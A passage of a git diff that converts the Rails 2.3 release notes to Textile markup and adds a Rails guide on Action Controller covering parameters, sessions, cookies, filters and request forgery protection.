+* The +autolink+ helper has been refactored to make it a bit less messy and more intuitive.
+* +current_page?+ now works properly even when there are multiple query parameters in the URL.
 
-== Active Support
+h3. Active Support
 
 Active Support has a few interesting changes, including the introduction of +Object#try+.
 
-=== Object#try
+h4. Object#try
 
-A lot of folks have adopted the notion of using try() to attempt operations on objects - It's especially helpful in views where you can avoid nil-checking by writing code like +<%= @person.try(:name) %>+. Well, now it's baked right into Rails. As implemented in Rails, it raises +NoMethodError+ on private methods and always returns +nil+ if the object is nil.
+A lot of folks have adopted the notion of using try() to attempt operations on objects. It's especially helpful in views where you can avoid nil-checking by writing code like +<%= @person.try(:name) %>+. Well, now it's baked right into Rails. As implemented in Rails, it raises +NoMethodError+ on private methods and always returns +nil+ if the object is nil.
 
-* More Information: link:http://ozmm.org/posts/try.html[try()]. 
+* More Information: "try()":http://ozmm.org/posts/try.html.
 
-=== Object#tap Backport
+h4. Object#tap Backport
 
 +Object#tap+ is an addition to "Ruby 1.9":http://www.ruby-doc.org/core-1.9/classes/Object.html#M000309 and 1.8.7 that is similar to the +returning+ method that Rails has had for a while: it yields to a block, and then returns the object that was yielded. Rails now includes code to make this available under older versions of Ruby as well.
 
-=== Fractional seconds for TimeWithZone
+h4. Fractional seconds for TimeWithZone
 
 The +Time+ and +TimeWithZone+ classes include an +xmlschema+ method to return the time in an XML-friendly string. As of Rails 2.3, +TimeWithZone+ supports the same argument for specifying the number of digits in the fractional second part of the returned string that +Time+ does:
 
-[source, ruby]
--------------------------------------------------------
+
 >> Time.zone.now.xmlschema(6)
 => "2009-01-16T13:00:06.13653Z"
--------------------------------------------------------
+
 
-Lead Contributor: link:http://www.workingwithrails.com/person/13536-nicholas-dainty[Nicholas Dainty]
+* Lead Contributor: "Nicholas Dainty":http://www.workingwithrails.com/person/13536-nicholas-dainty
 
-=== JSON Key Quoting
+h4. JSON Key Quoting
 
-If you look up the spec on the "json.org" site, you'll discover that all keys in a JSON structure must be strings, and they must be quoted with double quotes. Starting with Rails 2.3, we doe the right thing here, even with numeric keys.
+If you look up the spec on the "json.org" site, you'll discover that all keys in a JSON structure must be strings, and they must be quoted with double quotes. Starting with Rails 2.3, we do the right thing here, even with numeric keys.
 
-=== Other Active Support Changes
+h4. Other Active Support Changes
 
 * You can use +Enumerable#none?+ to check that none of the elements match the supplied block.
-* If you're using Active Support link:http://afreshcup.com/2008/10/19/coming-in-rails-22-delegate-prefixes/[delegates], the new +:allow_nil+ option lets you return nil instead of raising an exception when the target object is nil. 
-* +ActiveSupport::OrderedHash+: now implements +each_key+ and +each_value+. 
-* +ActiveSupport::MessageEncryptor+ provides a simple way to encrypt information for storage in an untrusted location (like cookies). 
-* Active Support's +from_xml+ no longer depends on XmlSimple. Instead, Rails now includes its own XmlMini implementation, with just the functionality that it requires. This lets Rails dispense with the bundled copy of XmlSimple that it's been carting around. 
+* If you're using Active Support "delegates":http://afreshcup.com/2008/10/19/coming-in-rails-22-delegate-prefixes/, the new +:allow_nil+ option lets you return +nil+ instead of raising an exception when the target object is nil.
+* +ActiveSupport::OrderedHash+: now implements +each_key+ and +each_value+.
+* +ActiveSupport::MessageEncryptor+ provides a simple way to encrypt information for storage in an untrusted location (like cookies).
+* Active Support's +from_xml+ no longer depends on XmlSimple. Instead, Rails now includes its own XmlMini implementation, with just the functionality that it requires. This lets Rails dispense with the bundled copy of XmlSimple that it's been carting around.
 
-== Railties
+h3. Railties
 
 In addition to the Rack changes covered above, Railties (the core code of Rails itself) sports a number of significant changes, including Rails Metal, application templates, and quiet backtraces.
 
-=== Rails Metal
+h4. Rails Metal
 
-Rails Metal is a new mechanism that provides superfast endpoints inside of your Rails applications. Metal classes bypass routing and Action Controller to give you raw speed (at the cost of all the things in Action Controller, of course). This builds on all of the recent foundation work to make Rails a Rack application with an exposed middleware stack. 
+Rails Metal is a new mechanism that provides superfast endpoints inside of your Rails applications. Metal classes bypass routing and Action Controller to give you raw speed (at the cost of all the things in Action Controller, of course). This builds on all of the recent foundation work to make Rails a Rack application with an exposed middleware stack.
 
 * More Information:
- - link:http://weblog.rubyonrails.org/2008/12/17/introducing-rails-metal[Introducing Rails Metal]
- - link:http://soylentfoo.jnewland.com/articles/2008/12/16/rails-metal-a-micro-framework-with-the-power-of-rails-m[Rails Metal: a micro-framework with the power of Rails]
- - link:http://www.railsinside.com/deployment/180-metal-super-fast-endpoints-within-your-rails-apps.html[Metal: Super-fast Endpoints within your Rails Apps]
- - link:http://ryandaigle.com/articles/2008/12/18/what-s-new-in-edge-rails-rails-metal[What's New in Edge Rails: Rails Metal]
+** "Introducing Rails Metal":http://weblog.rubyonrails.org/2008/12/17/introducing-rails-metal
+** "Rails Metal: a micro-framework with the power of Rails":http://soylentfoo.jnewland.com/articles/2008/12/16/rails-metal-a-micro-framework-with-the-power-of-rails-m
+** "Metal: Super-fast Endpoints within your Rails Apps":http://www.railsinside.com/deployment/180-metal-super-fast-endpoints-within-your-rails-apps.html
+** "What's New in Edge Rails: Rails Metal":http://ryandaigle.com/articles/2008/12/18/what-s-new-in-edge-rails-rails-metal
 
-=== Application Templates
+h4. Application Templates
 
-Rails 2.3 incorporates Jeremy McAnally's link:http://github.com/jeremymcanally/rg/tree/master[rg] application generator. What this means is that we now have template-based application generation built right into Rails; if you have a set of plugins you include in every application (among many other use cases), you can just set up a template once and use it over and over again when you run the +rails+ command. There's also a rake task to apply a template to an existing application:
+Rails 2.3 incorporates Jeremy McAnally's "rg":http://github.com/jeremymcanally/rg/tree/master application generator. What this means is that we now have template-based application generation built right into Rails; if you have a set of plugins you include in every application (among many other use cases), you can just set up a template once and use it over and over again when you run the +rails+ command. There's also a rake task to apply a template to an existing application:
 
-[source, ruby]
--------------------------------------------------------
+
 rake rails:template LOCATION=~/template.rb
--------------------------------------------------------
+
 
 This will layer the changes from the template on top of whatever code the project already contains.
 
-* Lead Contributor: link:http://www.jeremymcanally.com/[Jeremy McAnally]
-* More Info:http://m.onkey.org/2008/12/4/rails-templates[Rails templates]
+* Lead Contributor: "Jeremy McAnally":http://www.jeremymcanally.com/
+* More Info:"Rails templates":http://m.onkey.org/2008/12/4/rails-templates
 
-=== Quieter Backtraces
+h4. Quieter Backtraces
 
-Building on Thoughtbot's link:http://www.thoughtbot.com/projects/quietbacktrace[Quiet Backtrace] plugin, which allows you to selectively remove lines from +Test::Unit+ backtraces, Rails 2.3 implements +ActiveSupport::BacktraceCleaner+ and +Rails::BacktraceCleaner+ in core. This supports both filters (to perform regex-based substitutions on backtrace lines) and silencers (to remove backtrace lines entirely). Rails automatically adds silencers to get rid of the most common noise in a new application, and builds a +config/backtrace_silencers.rb+ file to hold your own additions. This feature also enables prettier printing from any gem in the backtrace.
+Building on Thoughtbot's "Quiet Backtrace":http://www.thoughtbot.com/projects/quietbacktrace plugin, which allows you to selectively remove lines from +Test::Unit+ backtraces, Rails 2.3 implements +ActiveSupport::BacktraceCleaner+ and +Rails::BacktraceCleaner+ in core. This supports both filters (to perform regex-based substitutions on backtrace lines) and silencers (to remove backtrace lines entirely). Rails automatically adds silencers to get rid of the most common noise in a new application, and builds a +config/backtrace_silencers.rb+ file to hold your own additions. This feature also enables prettier printing from any gem in the backtrace.
 
-=== Faster Boot Time in Development Mode with Lazy Loading/Autoload
+h4. Faster Boot Time in Development Mode with Lazy Loading/Autoload
 
-Quite a bit of work was done to make sure that bits of Rails (and its dependencies) are only brought into memory when they're actually needed. The core frameworks - Active Support, Active Record, Action Controller, Action Mailer and Action View - are now using +autoload+ to lazy-load their individual classes. This work should help keep the memory footprint down and improve overall Rails performance. 
+Quite a bit of work was done to make sure that bits of Rails (and its dependencies) are only brought into memory when they're actually needed. The core frameworks - Active Support, Active Record, Action Controller, Action Mailer and Action View - are now using +autoload+ to lazy-load their individual classes. This work should help keep the memory footprint down and improve overall Rails performance.
 
 You can also specify (by using the new +preload_frameworks+ option) whether the core libraries should be autoloaded at startup. This defaults to +false+ so that Rails autoloads itself piece-by-piece, but there are some circumstances where you still need to bring in everything at once - Passenger and JRuby both want to see all of Rails loaded together.
 
-=== Other Railties Changes
+h4. Other Railties Changes
 
 * The instructions for updating a CI server to build Rails have been updated and expanded.
 * Internal Rails testing has been switched from +Test::Unit::TestCase+ to +ActiveSupport::TestCase+, and the Rails core requires Mocha to test.
 * The default +environment.rb+ file has been decluttered.
-* The dbconsole script now lets you use an all-numeric password without crashing. 
-* Rails.root now returns a Pathname object, which means you can use it directly with the join method to link:http://afreshcup.com/2008/12/05/a-little-rails_root-tidiness/[clean up existing code] that uses File.join. 
-* Various files in /public that deal with CGI and FCGI dispatching are no longer generated in every Rails application by default (you can still get them if you need them by adding +--with-dispatches+ when you run the rails command, or add them later with +rake rails:generate_dispatchers+). 
+* The dbconsole script now lets you use an all-numeric password without crashing.
+* +Rails.root+ now returns a +Pathname+ object, which means you can use it directly with the +join+ method to "clean up existing code":http://afreshcup.com/2008/12/05/a-little-rails_root-tidiness/ that uses +File.join+.
+* Various files in /public that deal with CGI and FCGI dispatching are no longer generated in every Rails application by default (you can still get them if you need them by adding +--with-dispatches+ when you run the +rails+ command, or add them later with +rake rails:generate_dispatchers+).
+* Rails Guides have been converted from AsciiDoc to Textile markup.
+* Scaffolded views and controllers have been cleaned up a bit.
+* +script/server+ now accepts a --path argument to mount a Rails application from a specific path.
 
-== Deprecated
+h3. Deprecated
 
 A few pieces of older code are deprecated in this release:
 
-* If you're one of the (fairly rare) Rails developers who deploys in a fashion that depends on the inspector, reaper, and spawner scripts, you'll need to know that those scripts are no longer included in core Rails. If you need them, you'll be able to pick up copies via the link:http://github.com/rails/irs_process_scripts/tree[irs_process_scripts] plugin. 
-* +render_component+ goes from "deprecated" to "nonexistent" in Rails 2.3. If you still need it, you can install the link:http://github.com/rails/render_component/tree/master[render_component plugin]. 
+* If you're one of the (fairly rare) Rails developers who deploys in a fashion that depends on the inspector, reaper, and spawner scripts, you'll need to know that those scripts are no longer included in core Rails. If you need them, you'll be able to pick up copies via the "irs_process_scripts":http://github.com/rails/irs_process_scripts/tree plugin.
+* +render_component+ goes from "deprecated" to "nonexistent" in Rails 2.3. If you still need it, you can install the "render_component plugin":http://github.com/rails/render_component/tree/master.
 * Support for Rails components has been removed.
 * If you were one of the people who got used to running +script/performance/request+ to look at performance based on integration tests, you need to learn a new trick: that script has been removed from core Rails now. There’s a new request_profiler plugin that you can install to get the exact same functionality back.
 * +ActionController::Base#session_enabled?+ is deprecated because sessions are lazy-loaded now.
 * The +:digest+ and +:secret+ options to +protect_from_forgery+ are deprecated and have no effect.
 * Some integration test helpers have been removed. +response.headers["Status"]+ and +headers["Status"]+ will no longer return anything. Rack does not allow "Status" in its return headers. However you can still use the +status+ and +status_message+ helpers. +response.headers["cookie"]+ and +headers["cookie"]+ will no longer return any CGI cookies. You can inspect +headers["Set-Cookie"]+ to see the raw cookie header or use the +cookies+ helper to get a hash of the cookies sent to the client.
 * +formatted_polymorphic_url+ is deprecated. Use +polymorphic_url+ with +:format+ instead.
+* The +:http_only+ option in +ActionController::Response#set_cookie+ has been renamed to +:httponly+.
+* The +:connector+ and +:skip_last_comma+ options of +to_sentence+ have been replaced by +:words_connnector+, +:two_words_connector+, and +:last_word_connector+ options.
 
-== Credits
+h3. Credits
 
-Release notes compiled by link:http://afreshcup.com[Mike Gunderloy]
\ No newline at end of file
+Release notes compiled by "Mike Gunderloy":http://afreshcup.com. This version of the Rails 2.3 release notes was compiled based on RC2 of Rails 2.3.
diff --git a/vendor/rails/railties/guides/source/action_controller_overview.textile b/vendor/rails/railties/guides/source/action_controller_overview.textile
new file mode 100644
index 00000000..949a962b
--- /dev/null
+++ b/vendor/rails/railties/guides/source/action_controller_overview.textile
@@ -0,0 +1,776 @@
+h2. Action Controller Overview
+
+In this guide you will learn how controllers work and how they fit into the request cycle in your application. After reading this guide, you will be able to:
+
+* Follow the flow of a request through a controller
+* Understand why and how to store data in the session or cookies
+* Work with filters to execute code during request processing
+* Use Action Controller's built-in HTTP authentication
+* Stream data directly to the user's browser
+* Filter sensitive parameters so they do not appear in the application's log
+* Deal with exceptions that may be raised during request processing
+
+endprologue.
+
+h3. What Does a Controller Do?
+
+Action Controller is the C in MVC. After routing has determined which controller to use for a request, your controller is responsible for making sense of the request and producing the appropriate output. Luckily, Action Controller does most of the groundwork for you and uses smart conventions to make this as straightforward as possible.
+
+For most conventional RESTful applications, the controller will receive the request (this is invisible to you as the developer), fetch or save data from a model and use a view to create HTML output. If your controller needs to do things a little differently, that's not a problem, this is just the most common way for a controller to work.
+
+A controller can thus be thought of as a middle man between models and views. It makes the model data available to the view so it can display that data to the user, and it saves or updates data from the user to the model.
+
+NOTE: For more details on the routing process, see "Rails Routing from the Outside In":routing_outside_in.html.
+
+h3. Methods and Actions
+
+A controller is a Ruby class which inherits from +ApplicationController+ and has methods just like any other class. When your application receives a request, the routing will determine which controller and action to run, then Rails creates an instance of that controller and runs the method with the same name as the action.
+
+
+class ClientsController < ApplicationController
+  def new
+  end
+end
+
+
+As an example, if a user goes to +/clients/new+ in your application to add a new client, Rails will create an instance of +ClientsController+ and run the +new+ method. Note that the empty method from the example above could work just fine because Rails will by default render the +new.html.erb+ view unless the action says otherwise. The +new+ method could make available to the view a +@client+ instance variable by creating a new +Client+:
+
+
+def new
+  @client = Client.new
+end
+
+
+The "Layouts & rendering guide":layouts_and_rendering.html explains this in more detail.
+
++ApplicationController+ inherits from +ActionController::Base+, which defines a number of helpful methods. This guide will cover some of these, but if you're curious to see what's in there, you can see all of them in the API documentation or in the source itself.
+
+Only public methods are callable as actions. It is a best practice to lower the visibility of methods which are not intended to be actions, like auxiliary methods or filters.
+
+h3. Parameters
+
+You will probably want to access data sent in by the user or other parameters in your controller actions. There are two kinds of parameters possible in a web application. The first are parameters that are sent as part of the URL, called query string parameters. The query string is everything after "?" in the URL. The second type of parameter is usually referred to as POST data. This information usually comes from an HTML form which has been filled in by the user. It's called POST data because it can only be sent as part of an HTTP POST request. Rails does not make any distinction between query string parameters and POST parameters, and both are available in the +params+ hash in your controller:
+
+
+class ClientsController < ActionController::Base
+  # This action uses query string parameters because it gets run
+  # by an HTTP GET request, but this does not make any difference
+  # to the way in which the parameters are accessed. The URL for
+  # this action would look like this in order to list activated
+  # clients: /clients?status=activated
+  def index
+    if params[:status] == "activated"
+      @clients = Client.activated
+    else
+      @clients = Client.unactivated
+    end
+  end
+
+  # This action uses POST parameters. They are most likely coming
+  # from an HTML form which the user has submitted. The URL for
+  # this RESTful request will be "/clients", and the data will be
+  # sent as part of the request body.
+  def create
+    @client = Client.new(params[:client])
+    if @client.save
+      redirect_to @client
+    else
+      # This line overrides the default rendering behavior, which
+      # would have been to render the "create" view.
+      render :action => "new"
+    end
+  end
+end
+
+
+h4. Hash and array parameters
+
+The +params+ hash is not limited to one-dimensional keys and values. It can contain arrays and (nested) hashes. To send an array of values, append an empty pair of square brackets "[]" to the key name:
+
+
+GET /clients?ids[]=1&ids[]=2&ids[]=3
+

+
+NOTE: The actual URL in this example will be encoded as "/clients?ids%5b%5d=1&ids%5b%5d=2&ids%5b%5b=3" as "[" and "]" are not allowed in URLs. Most of the time you don't have to worry about this because the browser will take care of it for you, and Rails will decode it back when it receives it, but if you ever find yourself having to send those requests to the server manually you have to keep this in mind.
+
+The value of +params[:ids]+ will now be +["1", "2", "3"]+. Note that parameter values are always strings; Rails makes no attempt to guess or cast the type.
+
+To send a hash you include the key name inside the brackets:
+
+
+

+  
+  
+  
+  
+

+
+
+When this form is submitted, the value of +params[:client]+ will be {"name" => "Acme", "phone" => "12345", "address" => {"postcode" => "12345", "city" => "Carrot City"}}. Note the nested hash in +params[:client][:address]+.
+
+Note that the +params+ hash is actually an instance of +HashWithIndifferentAccess+ from Active Support, which acts like a hash that lets you use symbols and strings interchangeably as keys.
+
+h4. Routing Parameters
+
+The +params+ hash will always contain the +:controller+ and +:action+ keys, but you should use the methods +controller_name+ and +action_name+ instead to access these values. Any other parameters defined by the routing, such as +:id+ will also be available. As an example, consider a listing of clients where the list can show either active or inactive clients. We can add a route which captures the +:status+ parameter in a "pretty" URL:
+
+
+map.connect "/clients/:status", 
+  :controller => "clients",
+  :action => "index",
+  :foo => "bar"
+
+
+In this case, when a user opens the URL +/clients/active+, +params[:status]+ will be set to "active". When this route is used, +params[:foo]+ will also be set to "bar" just like it was passed in the query string. In the same way +params[:action]+ will contain "index".
+
+h4. default_url_options
+
+You can set global default parameters that will be used when generating URLs with +default_url_options+. To do this, define a method with that name in your controller:
+
+
+class ApplicationController < ActionController::Base
+  # The options parameter is the hash passed in to 'url_for'
+  def default_url_options(options)
+    {:locale => I18n.locale}
+  end
+end
+
+
+These options will be used as a starting-point when generating URLs, so it's possible they'll be overridden by +url_for+. Because this method is defined in the controller, you can define it on +ApplicationController+ so it would be used for all URL generation, or you could define it on only one controller for all URLs generated there.
+
+
+h3. Session
+
+Your application has a session for each user in which you can store small amounts of data that will be persisted between requests. The session is only available in the controller and the view and can use one of a number of different storage mechanisms:
+
+* CookieStore - Stores everything on the client.
+* DRbStore - Stores the data on a DRb server.
+* MemCacheStore - Stores the data in a memcache.
+* ActiveRecordStore - Stores the data in a database using Active Record.
+
+All session stores use a cookie to store a unique ID for each session (you must use a cookie, Rails will not allow you to pass the session ID in the URL as this is less secure).
+
+For most stores this ID is used to look up the session data on the server, e.g. in a database table. There is one exception, and that is the default and recommended session store - the CookieStore - which stores all session data in the cookie itself (the ID is still available to you if you need it). This has the advantage of being very lightweight and it requires zero setup in a new application in order to use the session. The cookie data is cryptographically signed to make it tamper-proof, but it is not encrypted, so anyone with access to it can read its contents but not edit it (Rails will not accept it if it has been edited).
+
+The CookieStore can store around 4kB of data -- much less than the others -- but this is usually enough. Storing large amounts of data in the session is discouraged no matter which session store your application uses. You should especially avoid storing complex objects (anything other than basic Ruby objects, the most common example being model instances) in the session, as the server might not be able to reassemble them between requests, which will result in an error.
+
+Read more about session storage in the "Security Guide":security.html.
+
+If you need a different session storage mechanism, you can change it in the +config/initializers/session_store.rb+ file:
+
+
+# Use the database for sessions instead of the cookie-based default,
+# which shouldn't be used to store highly confidential information
+# (create the session table with "rake db:sessions:create")
+# ActionController::Base.session_store = :active_record_store
+
+
+Rails sets up a session key (the name of the cookie) and (for the CookieStore) a secret key used when signing the session data. These can also be changed in +config/initializers/session_store.rb+:
+
+
+# Your secret key for verifying cookie session data integrity.
+# If you change this key, all old sessions will become invalid!
+# Make sure the secret is at least 30 characters and all random, 
+# no regular words or you'll be exposed to dictionary attacks.
+ActionController::Base.session = {
+  :key         => '_yourappname_session',
+  :secret      => '4f50711b8f0f49572...'
+}
+
+
+NOTE: Changing the secret when using the CookieStore will invalidate all existing sessions.
+
+h4. Accessing the session
+
+In your controller you can access the session through the +session+ instance method.
+
+NOTE: Sessions are lazily loaded. If you don't access sessions in your action's code, they will not be loaded. Hence you will never need to disable sessions, just not accessing them will do the job.
+
+Session values are stored using key/value pairs like a hash:
+
+
+class ApplicationController < ActionController::Base
+
+private
+
+  # Finds the User with the ID stored in the session with the key
+  # :current_user_id This is a common way to handle user login in
+  # a Rails application; logging in sets the session value and
+  # logging out removes it.
+  def current_user
+    @_current_user ||= session[:current_user_id] &&
+      User.find(session[:current_user_id])
+  end
+end
+
+
+To store something in the session, just assign it to the key like a hash:
+
+
+class LoginsController < ApplicationController
+  # "Create" a login, aka "log the user in"
+  def create
+    if user = User.authenticate(params[:username], params[:password])
+      # Save the user ID in the session so it can be used in
+      # subsequent requests
+      session[:current_user_id] = user.id
+      redirect_to root_url
+    end
+  end
+end
+
+
+To remove something from the session, assign that key to be +nil+:
+
+
+class LoginsController < ApplicationController
+  # "Delete" a login, aka "log the user out"
+  def destroy
+    # Remove the user id from the session
+    session[:current_user_id] = nil
+    redirect_to root_url
+  end
+end
+
+
+To reset the entire session, use +reset_session+.
+
+h4. The flash
+
+The flash is a special part of the session which is cleared with each request. This means that values stored there will only be available in the next request, which is useful for storing error messages etc. It is accessed in much the same way as the session, like a hash. Let's use the act of logging out as an example. The controller can send a message which will be displayed to the user on the next request:
+
+
+class LoginsController < ApplicationController
+  def destroy
+    session[:current_user_id] = nil
+    flash[:notice] = "You have successfully logged out"
+    redirect_to root_url
+  end
+end
+
+
+The +destroy+ action redirects to the application's +root_url+, where the message will be displayed. Note that it's entirely up to the next action to decide what, if anything, it will do with what the previous action put in the flash. It's conventional to display eventual errors or notices from the flash in the application's layout:
+
+
+
+  
+  
+    <% if flash[:notice] -%>
+      
<%= flash[:notice] %>

+    <% end -%>
+    <% if flash[:error] -%>
+      
<%= flash[:error] %>

+    <% end -%>
+    
+  
+
+
+
+This way, if an action sets an error or a notice message, the layout will display it automatically.
+
+If you want a flash value to be carried over to another request, use the +keep+ method:
+
+
+class MainController < ApplicationController
+  # Let's say this action corresponds to root_url, but you want
+  # all requests here to be redirected to UsersController#index.
+  # If an action sets the flash and redirects here, the values
+  # would normally be lost when another redirect happens, but you
+  # can use 'keep' to make it persist for another request.
+  def index
+    # Will persist all flash values.
+    flash.keep
+
+    # You can also use a key to keep only some kind of value. 
+    # flash.keep(:notice)
+    redirect_to users_url
+  end
+end
+
+
+h5. flash.now
+
+By default, adding values to the flash will make them available to the next request, but sometimes you may want to access those values in the same request. For example, if the +create+ action fails to save a resource and you render the +new+ template directly, that's not going to result in a new request, but you may still want to display a message using the flash. To do this, you can use +flash.now+ in the same way you use the normal +flash+:
+
+
+class ClientsController < ApplicationController
+  def create
+    @client = Client.new(params[:client])
+    if @client.save
+      # ...
+    else
+      flash.now[:error] = "Could not save client"
+      render :action => "new"
+    end
+  end
+end
+
+
+h3. Cookies
+
+Your application can store small amounts of data on the client -- called cookies -- that will be persisted across requests and even sessions. Rails provides easy access to cookies via the +cookies+ method, which -- much like the +session+ -- works like a hash:
+
+
+class CommentsController < ApplicationController
+  def new
+    # Auto-fill the commenter's name if it has been stored in a cookie
+    @comment = Comment.new(:name => cookies[:commenter_name])
+  end
+
+  def create
+    @comment = Comment.new(params[:comment])
+    if @comment.save
+      flash[:notice] = "Thanks for your comment!"
+      if params[:remember_name]
+        # Remember the commenter's name.
+        cookies[:commenter_name] = @comment.name
+      else
+        # Delete cookie for the commenter's name cookie, if any.
+        cookies.delete(:commenter_name)
+      end
+      redirect_to @comment.article
+    else
+      render :action => "new"
+    end
+  end
+end
+
+
+Note that while for session values you set the key to +nil+, to delete a cookie value you should use +cookies.delete(:key)+.
+
+h3. Filters
+
+Filters are methods that are run before, after or "around" a controller action. 
+
+Filters are inherited, so if you set a filter on +ApplicationController+, it will be run on every controller in your application. 
+
+Before filters may halt the request cycle. A common before filter is one which requires that a user is logged in for an action to be run. You can define the filter method this way:
+
+
+class ApplicationController < ActionController::Base
+  before_filter :require_login
+
+private
+  def require_login
+    unless logged_in?
+      flash[:error] = "You must be logged in to access this section"
+      redirect_to new_login_url # halts request cycle
+    end
+  end
+
+  # The logged_in? method simply returns true if the user is logged
+  # in and false otherwise. It does this by "booleanizing" the
+  # current_user method we created previously using a double ! operator.
+  # Note that this is not common in Ruby and is discouraged unless you
+  # really mean to convert something into true or false.
+  def logged_in?
+    !!current_user
+  end
+end
+
+
+The method simply stores an error message in the flash and redirects to the login form if the user is not logged in. If a before filter renders or redirects, the action will not run. If there are additional filters scheduled to run after that filter they are also cancelled.
+
+In this example the filter is added to +ApplicationController+ and thus all controllers in the application inherit it. This will make everything in the application require the user to be logged in in order to use it. For obvious reasons (the user wouldn't be able to log in in the first place!), not all controllers or actions should require this. You can prevent this filter from running before particular actions with +skip_before_filter+:
+
+
+class LoginsController < Application
+  skip_before_filter :require_login, :only => [:new, :create]
+end
+
+
+Now, the +LoginsController+'s +new+ and +create+ actions will work as before without requiring the user to be logged in. The +:only+ option is used to only skip this filter for these actions, and there is also an +:except+ option which works the other way. These options can be used when adding filters too, so you can add a filter which only runs for selected actions in the first place.
+
+h4. After filters and around filters
+
+In addition to before filters, you can run filters after an action has run or both before and after. The after filter is similar to the before filter, but because the action has already been run it has access to the response data that's about to be sent to the client. Obviously, after filters can not stop the action from running.
+
+Around filters are responsible for running the action, but they can choose not to, which is the around filter's way of stopping it.
+
+
+# Example taken from the Rails API filter documentation:
+# http://api.rubyonrails.org/classes/ActionController/Filters/ClassMethods.html
+class ApplicationController < Application
+  around_filter :catch_exceptions
+
+private
+  def catch_exceptions
+    yield
+  rescue => exception
+    logger.debug "Caught exception! #{exception}"
+    raise
+  end
+end
+
+
+h4. Other ways to use filters
+
+While the most common way to use filters is by creating private methods and using *_filter to add them, there are two other ways to do the same thing.
+
+The first is to use a block directly with the *_filter methods. The block receives the controller as an argument, and the +require_login+ filter from above could be rewritten to use a block:
+
+
+class ApplicationController < ActionController::Base
+  before_filter do |controller|
+    redirect_to new_login_url unless controller.send(:logged_in?)
+  end
+end
+
+
+Note that the filter in this case uses +send+ because the +logged_in?+ method is private and the filter is not run in the scope of the controller. This is not the recommended way to implement this particular filter, but in more simple cases it might be useful.
+
+The second way is to use a class (actually, any object that responds to the right methods will do) to handle the filtering. This is useful in cases that are more complex and can not be implemented in a readable and reusable way using the two other methods. As an example, you could rewrite the login filter again to use a class:
+
+
+class ApplicationController < ActionController::Base
+  before_filter LoginFilter
+end
+
+class LoginFilter
+  def self.filter(controller)
+    unless controller.send(:logged_in?)
+      controller.flash[:error] = "You must be logged in"
+      controller.redirect_to controller.new_login_url
+    end
+  end
+end
+
+
+Again, this is not an ideal example for this filter, because it's not run in the scope of the controller but gets the controller passed as an argument. The filter class has a class method +filter+ which gets run before or after the action, depending on if it's a before or after filter. Classes used as around filters can also use the same +filter+ method, which will get run in the same way. The method must +yield+ to execute the action. Alternatively, it can have both a +before+ and an +after+ method that are run before and after the action.
+
+The Rails API documentation has "more information on using filters":http://api.rubyonrails.org/classes/ActionController/Filters/ClassMethods.html.
+
+h3. Verification
+
+Verifications make sure certain criteria are met in order for a controller or action to run. They can specify that a certain key (or several keys in the form of an array) is present in the +params+, +session+ or +flash+ hashes or that a certain HTTP method was used or that the request was made using +XMLHTTPRequest+ (Ajax). The default action taken when these criteria are not met is to render a 400 Bad Request response, but you can customize this by specifying a redirect URL or rendering something else and you can also add flash messages and HTTP headers to the response. It is described in the "API documentation":http://api.rubyonrails.org/classes/ActionController/Verification/ClassMethods.html as "essentially a special kind of before_filter".
+
+Here's an example of using verification to make sure the user supplies a username and a password in order to log in:
+
+
+class LoginsController < ApplicationController
+  verify :params => [:username, :password],
+         :render => {:action => "new"},
+         :add_flash => {
+           :error => "Username and password required to log in"
+         }
+
+  def create
+    @user = User.authenticate(params[:username], params[:password])
+    if @user
+      flash[:notice] = "You're logged in"
+      redirect_to root_url
+    else
+      render :action => "new"
+    end
+  end
+end
+
+
+Now the +create+ action won't run unless the "username" and "password" parameters are present, and if they're not, an error message will be added to the flash and the +new+ action will be rendered. But there's something rather important missing from the verification above: It will be used for *every* action in LoginsController, which is not what we want. You can limit which actions it will be used for with the +:only+ and +:except+ options just like a filter:
+
+
+class LoginsController < ApplicationController
+  verify :params => [:username, :password],
+         :render => {:action => "new"},
+         :add_flash => {
+           :error => "Username and password required to log in"
+         },
+         :only => :create # Run only for the "create" action
+end
+
+
+h3. Request Forgery Protection
+
+Cross-site request forgery is a type of attack in which a site tricks a user into making requests on another site, possibly adding, modifying or deleting data on that site without the user's knowledge or permission.
+
+The first step to avoid this is to make sure all "destructive" actions (create, update and destroy) can only be accessed with non-GET requests. If you're following RESTful conventions you're already doing this. However, a malicious site can still send a non-GET request to your site quite easily, and that's where the request forgery protection comes in. As the name says, it protects from forged requests.
+
+The way this is done is to add a non-guessable token which is only known to your server to each request. This way, if a request comes in without the proper token, it will be denied access.
+
+If you generate a form like this:
+
+
+<% form_for @user do |f| -%>
+  <%= f.text_field :username %>
+  <%= f.text_field :password -%>
+<% end -%>
+
+
+You will see how the token gets added as a hidden field:
+
+
+

+
+
+

+
+
+Rails adds this token to every form that's generated using the "form helpers":form_helpers.html, so most of the time you don't have to worry about it. If you're writing a form manually or need to add the token for another reason, it's available through the method +form_authenticity_token+:
+
+The +form_authenticity_token+ generates a valid authentication token. That's useful in places where Rails does not add it automatically, like in custom Ajax calls.
+
+The "Security Guide":security.html has more about this and a lot of other security-related issues that you should be aware of when developing a web application.
+
+h3. The Request and Response Objects
+
+In every controller there are two accessor methods pointing to the request and the response objects associated with the request cycle that is currently in execution. The +request+ method contains an instance of +AbstractRequest+ and the +response+ method returns a response object representing what is going to be sent back to the client.
+
+h4. The +request+ object
+
+The request object contains a lot of useful information about the request coming in from the client. To get a full list of the available methods, refer to the "API documentation":http://api.rubyonrails.org/classes/ActionController/AbstractRequest.html. Among the properties that you can access on this object are:
+
+|_.Property of +request+|_.Purpose|
+|host|The hostname used for this request.|
+|domain(n=2)|The hostname's first +n+ segments, starting from the right (the TLD).|
+|format|The content type requested by the client.|
+|method|The HTTP method used for the request.|
+|get?, post?, put?, delete?, head?|Returns true if the HTTP method is GET/POST/PUT/DELETE/HEAD.|
+|headers|Returns a hash containing the headers associated with the request.|
+|port|The port number (integer) used for the request.|
+|protocol|Returns a string containing the protocol used plus "://", for example "http://".|
+|query_string|The query string part of the URL, i.e., everything after "?".|
+|remote_ip|The IP address of the client.|
+|url|The entire URL used for the request.|
+
+h5. +path_parameters+, +query_parameters+, and +request_parameters+
+
+Rails collects all of the parameters sent along with the request in the +params+ hash, whether they are sent as part of the query string or the post body. The request object has three accessors that give you access to these parameters depending on where they came from. The +query_parameters+ hash contains parameters that were sent as part of the query string while the +request_parameters+ hash contains parameters sent as part of the post body. The +path_parameters+ hash contains parameters that were recognized by the routing as being part of the path leading to this particular controller and action.
+
+h4. The response object
+
